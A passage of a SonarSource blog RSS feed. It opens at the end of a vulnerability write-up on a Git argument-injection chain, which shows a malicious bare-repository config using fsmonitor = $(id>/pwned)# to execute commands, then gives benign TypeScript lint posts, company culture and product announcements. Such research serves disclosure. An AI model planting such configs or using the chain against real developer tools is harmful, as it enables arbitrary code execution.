&lt;code&gt;worktree/&lt;/code&gt;: empty folders to comply with the expected structure of a Git repository&lt;/li&gt;&lt;li&gt;&lt;code&gt;HEAD&lt;/code&gt;: non-empty file to fake a valid reference&lt;/li&gt;&lt;li&gt;&lt;code&gt;config&lt;/code&gt;: malicious configuration based on what we described in &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt; and &lt;a href=&quot;https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md&quot;&gt;Justin Steven&amp;#x27;s advisory&lt;/a&gt;. Most importantly, it should contain:&lt;ul&gt;&lt;li&gt;&lt;code&gt;bare = false&lt;/code&gt;: don&amp;#x27;t mark the current directory as bare &lt;/li&gt;&lt;li&gt;&lt;code&gt;worktree = worktree&lt;/code&gt;: the working tree directory under which checked-out are files&lt;/li&gt;&lt;li&gt;&lt;code&gt;fsmonitor =  $(id&amp;gt;/pwned)#&lt;/code&gt;: the custom filesystem monitor daemon to start at the next Git invocation; this is the attacker&amp;#x27;s payload&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the repository is imported for the first time, nothing happens because the local Git repository stored in &lt;code&gt;.git&lt;/code&gt; is constructed during the &lt;code&gt;clone&lt;/code&gt; operation: this repository is valid and ignores the bare repository we planted. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, the argument injection is triggered to truncate &lt;code&gt;.git/HEAD&lt;/code&gt;, corrupting the once-valid local repository. By invoking &lt;code&gt;git blame&lt;/code&gt; a second time, &lt;code&gt;git&lt;/code&gt; now uses the malicious bare repository and calls the custom filesystem monitor, effectively executing the attacker&amp;#x27;s payload. &lt;/p&gt;&lt;h2&gt;Closing words&lt;/h2&gt;&lt;p&gt;As we shared with our &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;series&lt;/a&gt; &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;of&lt;/a&gt; &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;publications&lt;/a&gt; on vulnerabilities in the IT monitoring software Checkmk, seemingly minor vulnerabilities can hide a critical impact. Our &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code approach&lt;/a&gt; helps you identify these security liabilities before they are deployed to production. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We hope you enjoyed this article and learned something about argument injection bugs; we sure had fun! &lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-security-advent-calendar-2022/&quot;&gt;Code Security Advent Calendar 2022&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (2/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (3/3)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[The Best Approach to Writing Secure Cloud Native Apps]]></title><description><![CDATA[With Sonar and the Clean as You Code methodology, developers can directly impact the security of the cloud native apps they create.]]></description><link>https://www.sonarsource.com/blog/the-best-approach-to-writing-secure-cloud-native-apps</link><guid isPermaLink="false">c857b242-2ab3-5193-9766-d701475b6f9e</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 21 Feb 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Perhaps you&amp;#x27;ve already jumped into cloud native technologies or you&amp;#x27;re just wading in.  Either way, it&amp;#x27;s an important investment you&amp;#x27;re making in the quest to deliver more functionality to your users in less time. It&amp;#x27;s true users today are very demanding and it&amp;#x27;s also important to keep them safe. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Cloud native technologies introduce many new attack planes and vulnerabilities. Many organizations have failed to adjust and continue to rely on traditional security practices that are insufficient for modern cloud-based technologies. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This leaves a gap and gaps mean risk. Developers must take the lead in protecting their cloud native apps. Coding mistakes are the primary cause of breaches – and developers are in the best position to identify and fix those errors. In this article, we look at ways your team can approach security threats using developer-first methodologies.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Common TypeScript Issues Nº 3: unused local variables and functions]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.]]></description><link>https://www.sonarsource.com/blog/common-typescript-issues-no-3-unused-local-variables-and-functions</link><guid isPermaLink="false">ef42c39c-466c-50eb-a2f4-df640a77ca24</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Mon, 20 Feb 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&amp;#x27;re counting down the top 5 issues that SonarLint sees in all of our TypeScript, describing the issues and how to fix, or even better, avoid them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can play with these issues yourself by &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;installing SonarLint in your editor&lt;/a&gt; and copy-pasting the example code below. This issue also counts for JavaScript, there&amp;#x27;s nothing special about TypeScript here.&lt;/p&gt;&lt;h2&gt;Nº 3: unused local variables and functions&lt;/h2&gt;&lt;p&gt;This is probably not a surprise. Every time you&amp;#x27;re in your editor and you write a new variable tooling like SonarLint swings in to tell you that your variable is unused. You know it&amp;#x27;s unused because you haven&amp;#x27;t used it yet.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function sayHello(name: string) {
  const greeting = &quot;Hello&quot;;
  // I just haven’t written the part that uses the greeting with the name yet!
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Issues like this are easy to fix, you keep writing the code you were intending to and use the variable that you defined. But there are plenty of reasons you might end up with unused variables that can cause problems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As you write and refactor code, variables, and functions you thought you needed can become redundant. It&amp;#x27;s hard to keep track of every variable and function you write in your head so it&amp;#x27;s easy to leave them in a codebase and really useful when your tooling highlights it for you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So what are the issues that &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1481&quot;&gt;unused variables or functions&lt;/a&gt; can cause?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first relates to the readability of your code. If you delete old code but leave unused variables or functions lying around, the next time someone comes to read that code they will have to spend time working out whether those variables or functions are needed for something.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next, if you are writing TypeScript or JavaScript for the front-end then every unused variable or function that remains in your codebase is just extra bytes you have to send over the wire to your users. Unused code bloats your codebase unnecessarily and impacts the performance of your application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One interesting instance of unused variables I spotted in the wild looked like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const [_, params] = url.split(path);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Naming a variable that is unused with an underscore, or prefixing a variable name with an underscore, are conventions to show other developers that we had to name the variable, but we don&amp;#x27;t intend to use it. In this case, you don&amp;#x27;t need to name the variable though. You can actually &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#ignoring_some_returned_values&quot;&gt;ignore values in your destructuring assignment&lt;/a&gt; and just name the variables you want to assign to. So the above can be rewritten as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const [, params] = url.split(path);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the code won&amp;#x27;t make an unnecessary assignment and trigger this linting rule.&lt;/p&gt;&lt;h2&gt;What about bugs?&lt;/h2&gt;&lt;p&gt;I believe in &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt;, so not leaving extra bloat in a codebase and making things easier to read is important. The question is, can unused variables and functions actually cause bugs? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course they can!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enter the following code in your editor:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function doSomething(start: number, stop: number) {
  // does something between start and stop
}

function init() {
  const start = 1;
  const stop = 10;
  doSomething(start, start);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You will see that &lt;code&gt;stop&lt;/code&gt; is unused. This highlights a human error, passing &lt;code&gt;start&lt;/code&gt; as both arguments to the &lt;code&gt;doSomething&lt;/code&gt; function when the second argument should have been &lt;code&gt;stop&lt;/code&gt;. Probably a result of hitting tab to autocomplete and the editor completing &lt;code&gt;start&lt;/code&gt; instead of &lt;code&gt;stop&lt;/code&gt;. An easy mistake to make, but one caught by this rule.&lt;/p&gt;&lt;h2&gt;Memory leaks&lt;/h2&gt;&lt;p&gt;Unused functions can also help to cause memory leaks. A real issue cropped up in the Meteor framework a few years ago. &lt;a href=&quot;https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156&quot;&gt;David Glasser wrote up what had happened&lt;/a&gt;, explaining exactly how an unused function caused a closure over a variable that should have otherwise been released to the garbage collector. I recommend you &lt;a href=&quot;https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156&quot;&gt;read the entire article for all the details&lt;/a&gt;. The final example code, in JavaScript in this case, was as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;let theThing = null;
const replaceThing = function () {
  const originalThing = theThing;
  const unused = function () {
    if (originalThing) {
      console.log(&quot;hi&quot;);
    }
  };
  theThing = {
    longStr: new Array(1000000).join(&quot;*&quot;),
    someMethod: function () {
      console.log(someMessage);
    },
  };
};
setInterval(replaceThing, 1000);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Copy the code and paste it into your editor and you will find that the function &lt;code&gt;unused&lt;/code&gt; is highlighted as an unused function. The fact that &lt;code&gt;unused&lt;/code&gt; refers to &lt;code&gt;originalThing&lt;/code&gt; within the function body means that the garbage collector is unable to reclaim the memory used to store &lt;code&gt;originalThing&lt;/code&gt; and so the memory usage of the application just grows over time. The &lt;a href=&quot;https://github.com/meteor/meteor/issues/1157&quot;&gt;investigation&lt;/a&gt; and &lt;a href=&quot;https://github.com/meteor/meteor/commit/49e9813&quot;&gt;fix&lt;/a&gt; for Meteor were a bit more complicated, but this example shows how even an unused function can cause issues in an application.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/66ad0eed-0fc5-42a3-bdab-95e002fc235b/Common%20TypeScript%20Issues%20No3%20unused%20local%20variables%20and%20functions.gif&quot; /&gt;&lt;p&gt;Poor readability, unnecessary code bloat, human error, and even memory leaks are all potential outcomes of an unused variable or function. That&amp;#x27;s why SonarLint enforces the rule that &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1481&quot;&gt;unused local variables and functions should be removed.&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Use &amp;#x27;em or lose &amp;#x27;em&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1481&quot;&gt;Removing or fixing unused variables and functions&lt;/a&gt; is a surefire way to keep your code clean and avoid potential problems. And it&amp;#x27;s a common enough problem to come in at number 3 in our countdown of the most common TypeScript issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next up is the second most common issue seen in SonarLint. Any guesses? Share them in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community&lt;/a&gt; or with &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;@SonarSource&lt;/a&gt; on Twitter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far in our Top 5 countdown:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;No.4 &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately/&quot;&gt;Dropping and creating objects&lt;/a&gt;&lt;/p&gt;&lt;p&gt;No.5 &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations/&quot;&gt;Optional property declarations&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Increase developer velocity today with Clean as You Code]]></title><description><![CDATA[The Clean as You Code methodology allows developers to keep working on new and interesting projects without sacrificing quality or getting bogged down in refactoring legacy code.]]></description><link>https://www.sonarsource.com/blog/increase-velocity-with-clean-as-you-code</link><guid isPermaLink="false">ec667800-6e87-583b-8153-2d55d41b8c39</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Thu, 16 Feb 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In software development, the focus on delivery is at an all-time high. Everyone is chasing those post-release positive vibes. So, as delivery demands grow, increasing developer velocity has never been more critical. Measuring developer velocity helps identify where opportunities for efficiency gains exist within your development workflow to make your team function better than ever before.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, grasping these gains can be challenging when there&amp;#x27;s a deepening pool of &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; dragging you down. Addressing issues from the past that don&amp;#x27;t directly contribute to the evolution of the product is not an appealing task for any developer. In the pursuit of increased velocity, releasing code in a timely manner is always a top priority, even if it’s built on a legacy codebase that&amp;#x27;s less than perfect. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Plus, much of a developer&amp;#x27;s time isn&amp;#x27;t spent writing code. To the dismay of many developers, a day&amp;#x27;s work is mainly spent completing other tasks before coding can commence. Individual contributors tackle debugging, refactoring code, recruiting, documenting, optimizing, and firefighting. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On average, developers have only &lt;a href=&quot;https://retool.com/reports/state-of-engineering-time-2022/#productive-work-model&quot;&gt;10&lt;/a&gt; hours a week of “deep work” time. If you add in feedback delays, urgent issues, and additional requirements, productivity becomes stifled. It can take nearly &lt;a href=&quot;https://retool.com/reports/state-of-engineering-time-2022/#everyday-issues&quot;&gt;an entire week&lt;/a&gt; for code to make it from a developer&amp;#x27;s brain to production. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With so little time dedicated to actual coding, the last thing developers want to do is take on technical debt before they can move forward. Achieving any gains in developer velocity becomes a pipe dream when the focus is on fixing mistakes of the past.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What if you could increase momentum, improve productivity, and steadily reduce the technical debt load that’s hanging over your projects? With Clean as You Code, you can. This methodology allows developers to keep working on new and interesting projects without sacrificing quality or getting bogged down in refactoring legacy code.&lt;/p&gt;&lt;h2&gt;Clean Code can help you reach maximum velocity&lt;/h2&gt;&lt;p&gt;Organizations that choose the path of Clean Code make code quality, maintainability, reliability, and security a priority. It&amp;#x27;s not simply keeping up with the demands of your next sprint, it&amp;#x27;s about making your codebase an asset for your software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code state&lt;/a&gt; is when a codebase has reached a problem-free state where all code is fit for development and for production. Clean Code helps prevent bad code from entering the codebase from the start, which makes life easier and more productive for developers and teams alike.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Getting started is easy. There&amp;#x27;s no need for an overhaul of your legacy code or a months-long implementation. Achieving a Clean Code state can begin today with every developer by choosing the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code methodology&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Clean as You Code methodology from Sonar is essential for your codebase to reach a Clean Code state. Clean as You Code enables developers and teams to enhance the quality of their codebase by only focusing on the code they&amp;#x27;re writing now. This means that, when a developer adds code or changes existing code, they will use Clean Code standards without introducing new issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;New code will be issue-free and legacy code will be cleaned up along the way. This simple yet powerful methodology systematically improves the overall quality of the entire codebase with minimal cost and effort.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you choose Clean as You Code you can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Embrace the ownership of code quality at the individual developer level&lt;/li&gt;&lt;li&gt;Set clear expectations of quality standards across teams&lt;/li&gt;&lt;li&gt;Spend more time innovating with less time spent on remediating old issues&lt;/li&gt;&lt;li&gt;Write maintainable code that’s easy to understand, review, repair, and enhance&lt;/li&gt;&lt;li&gt;Ensure the product stays reliable and continuously operable&lt;/li&gt;&lt;li&gt;Support optimum developer velocity with a methodology that&amp;#x27;s embedded in your workflow&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar&amp;#x27;s Clean As You Code methodology can be used regardless of software maturity, level of developer experience, and internal complexity. It&amp;#x27;s the difference between minor code quality efforts and realizing the state of Clean Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let your developers and teams work at maximum velocity today with Clean as You Code so that tomorrow&amp;#x27;s codebase can exceed the need for speed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a6d5ca3a-aa6b-4b24-95aa-f75100117a11/Top_Gun_launch_2.gif&quot; /&gt;</content:encoded></item><item><title><![CDATA[We are Sonar!]]></title><description><![CDATA[Culture is a key aspect of working at Sonar. It is our binding agent; it is what we value, what we believe in, the way we work, and the way we interact. It is what makes us SonarSourcers!]]></description><link>https://www.sonarsource.com/blog/we-are-sonar</link><guid isPermaLink="false">add8eeb2-e114-5c78-b791-31911ee30b48</guid><dc:creator><![CDATA[Marisa Davis]]></dc:creator><pubDate>Tue, 14 Feb 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are on a mission to genuinely change the development world. We want to do it right and with the right people. Culture is a key aspect of working at Sonar. It is our binding agent; it is what we value, what we believe in, the way we work, and the way we interact. It is what makes us SonarSourcers!&lt;/p&gt;&lt;h2&gt;Where did our culture come from?&lt;/h2&gt;&lt;p&gt;It all started in 2008 with three dev guys and a project. While they worked tirelessly to develop a revolutionary product for their peers, they were also explicit about how they wanted to grow as a company. From the very beginning, they agreed they wanted a strong culture to guide their work and interaction. They wanted everyone at Sonar to have an opportunity to impact the company. Each employee has a clear role in the organization, with set expectations and communication channels. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our vision is to have every developer and development team use our products to achieve a state of Clean Code. The founders believed that building a great place to work with a strong culture would help achieve this goal while fostering happiness and performance at work. Today, we believe in people and work hard to ensure SonarSourcers feel empowered and fulfilled. We want Sonar to be a human enterprise.&lt;/p&gt;&lt;h2&gt;What is Sonar’s culture?&lt;/h2&gt;&lt;p&gt;At Sonar, we believe in people, excellence, and delivery. We are a team-based organization. Our minimal hierarchical structure allows teams to be autonomous, self-organized, mission-driven, cohesive, and perform in a healthy environment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our success comes from the sum of all of us, we remain open-minded to others’ views, and we embrace diversity because we see it as a strength. We achieve the highest standards; we go the extra mile, challenge the status quo; we take responsibility for our actions and decisions, and we take accountability for problems. We recognize our limitations so we can constantly improve.&lt;/p&gt;&lt;h2&gt;Our core values&lt;/h2&gt;&lt;p&gt;Our core values reflect our unique culture. We expect them to help shape and positively strengthen our organization. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Smarter Together: &lt;/strong&gt;We believe that no one is as smart as all of us working as one. We embrace the power of collective intelligence and diversity because we see it as a strength. We trust each other, listen first, communicate frankly, and deliver candid feedback. We consider every SonarSourcer co-responsible for decisions and relations with others. We always try to have high-quality, equal relationships regardless of tenure, age, origin, and position. SonarSourcers can be their true self.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Excellence: &lt;/strong&gt;We go the extra mile and always strive for the highest standards; we solve problems by digging into their roots and understanding the big picture. We continuously challenge the status quo and try to better ourselves. We do not intend to preserve our culture - we seek to improve it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Innovation:&lt;/strong&gt; We dream without limits about where we want to go and readily take risks to achieve our dreams. We think outside of the box to come up with new ideas and develop solutions to hard problems. We believe that simple solutions can solve problems. Our team-based organization and various collective intelligence tools help support innovation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Delivery:&lt;/strong&gt; We want to consistently deliver excellent products and services to our users, customers, and colleagues. We set challenging objectives to transform great ideas into concrete achievements. We believe in taking incremental baby steps, establishing clear timeboxes, getting feedback to deliver often, and continuous improvement.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To ensure that our values positively impact how we work and interact, we have processes, practices, and tools; some derived from the Agile methodology and some home-brewed at Sonar. We also have a People and Culture team that keeps SonarSourcers aligned and fully equipped to be involved and contribute to our culture.&lt;/p&gt;&lt;h2&gt;How does our culture grow?&lt;/h2&gt;&lt;p&gt;Just as a party, our culture is unique. The more people who join in, the more our party will change. We adjust and adapt while keeping the heart of the party going. We embrace the idea that our culture will evolve as we welcome more people into our organization. All SonarSourcers are active members of our culture, and it is our responsibility to keep it alive and to contribute to it while also protecting its core values. Our culture is how we have an impact and how we relate to one another. It is who we are.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interested in joining the team? Learn more about our current openings &lt;a href=&quot;https://www.sonarsource.com/company/careers/&quot;&gt;here&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Common TypeScript Issues Nº 4: Don't create and drop objects immediately]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.]]></description><link>https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately</link><guid isPermaLink="false">3b4219fa-a5a4-5e15-b142-5359beabf4a8</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Tue, 07 Feb 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Follow along with these errors by &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;installing SonarLint in your editor&lt;/a&gt; and copy and pasting the example code below. This issue is also not specific to TypeScript, so if you’re writing in JavaScript too, keep watch for it.&lt;/p&gt;&lt;h2&gt;Nº 4: Creating and dropping objects immediately&lt;/h2&gt;&lt;p&gt;Take a look at the code below and have a think about what it does:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;new Counter();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The name might suggest that it is going to perform some counting, but there’s a problem. The code doesn’t capture the object in a variable, so there’s no way it can be used to count anything. Or is there?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I can imagine two implementations for an object like this that is going to perform some counting. One might look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Counter {
  counter: number;

  constructor() {
    this.counter = 0;
  }

  increment() {
    counter++;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case the class encapsulates the data, the current count, and its behaviour, the &lt;code&gt;increment&lt;/code&gt; method. If you just instantiate this object then nothing will happen and if, like in the first code example, you fail to capture the object as a variable you’ll never be able to use it. If this is the implementation of &lt;code&gt;Counter&lt;/code&gt; then just calling &lt;code&gt;new Counter()&lt;/code&gt; will create and immediately drop the object and you will achieve nothing. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To use this &lt;code&gt;Counter&lt;/code&gt; correctly the code should look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const counter = new Counter();
counter.increment();
console.log(counter);
// =&gt; 1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So perhaps there is a different implementation? How about something like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;let counter = 0;

class Counter {
  constructor() {
    counter++;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now running &lt;code&gt;new Counter()&lt;/code&gt; will perform an action, it will update the &lt;code&gt;counter&lt;/code&gt; variable that lives outside of the class. Class constructors should not be used to manipulate external state, it breaks the encapsulation of the data within the object. This &lt;code&gt;counter&lt;/code&gt; variable is a hidden state that makes it harder to reason about what the application is now doing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Think back to the start of this post where we tried to imagine what the code would do. I would bet you did not think that instantiating an object would come with a side-effect like affecting this hidden state. And you should not! When you create an object, you should be worrying about the state within that object, not within the module in which it is written or within the entire global state of the application. If you don’t worry about the potential side-effects and classes like this exist, then you may introduce countless bugs into your application by messing around with that hidden state without meaning to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of this brings us to the TypeScript issue of the day: &lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-1848&quot;&gt;objects should not be created to be dropped immediately without being used&lt;/a&gt;. Either there was a mistake in the original code and the object should have been assigned to a variable, which is the most likely scenario, or the object constructor is causing side effects and that should be extracted from the constructor to a separate function that can be called directly. When code does this it is confusing, hard to read and hard to keep track of; a real code smell.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4893b204-5b65-441c-b78b-9ed5199484d2/Dont%20create%20and%20drop%20objects%20immediately.gif&quot; /&gt;&lt;p&gt;If you have &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; loaded up in your editor, you will be alerted of this TypeScript issue and you’ll never create and drop an object immediately by mistake again. SonarLint also provides some insight into what could go wrong with each issue it surfaces, useful if you want to learn more about the issue and why it might be a bad idea.&lt;/p&gt;&lt;h2&gt;The hits keep coming&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-1848&quot;&gt;Dropping and creating objects&lt;/a&gt; comes in at number 4 in our most common TypeScript issues top 5. In fifth place were &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations/&quot;&gt;optional property declarations&lt;/a&gt;, look out for third place next week.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Did you think something as innocent as &lt;code&gt;new Counter();&lt;/code&gt; could cause so many potential issues? Let us know on Twitter at &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;@SonarSource&lt;/a&gt; or in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 9.9 LTS]]></title><description><![CDATA[Big year, big announcement – the most anticipated SonarQube 9.9 Long-Term-Support release is here! Check out this post for all details.]]></description><link>https://www.sonarsource.com/blog/sonarqube-9-9-lts</link><guid isPermaLink="false">09d515df-095b-5bb0-96f6-8432b8be4d2e</guid><dc:creator><![CDATA[Kirti Joshi]]></dc:creator><pubDate>Tue, 07 Feb 2023 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Big year, big news – SonarQube 9.9 Long-Term-Support (LTS) release is officially live! This release brings in many new capabilities for everyone and is the most exciting release you’ve been waiting for! Read on to get a glimpse of what’s new and then tune in to our webinar on February 16, 2023, to learn even more and ask questions. &lt;/p&gt;&lt;h2&gt;Scale, Security, Speed: Best LTS ever&lt;/h2&gt;&lt;h3&gt;&lt;strong&gt;Faster Pull Request 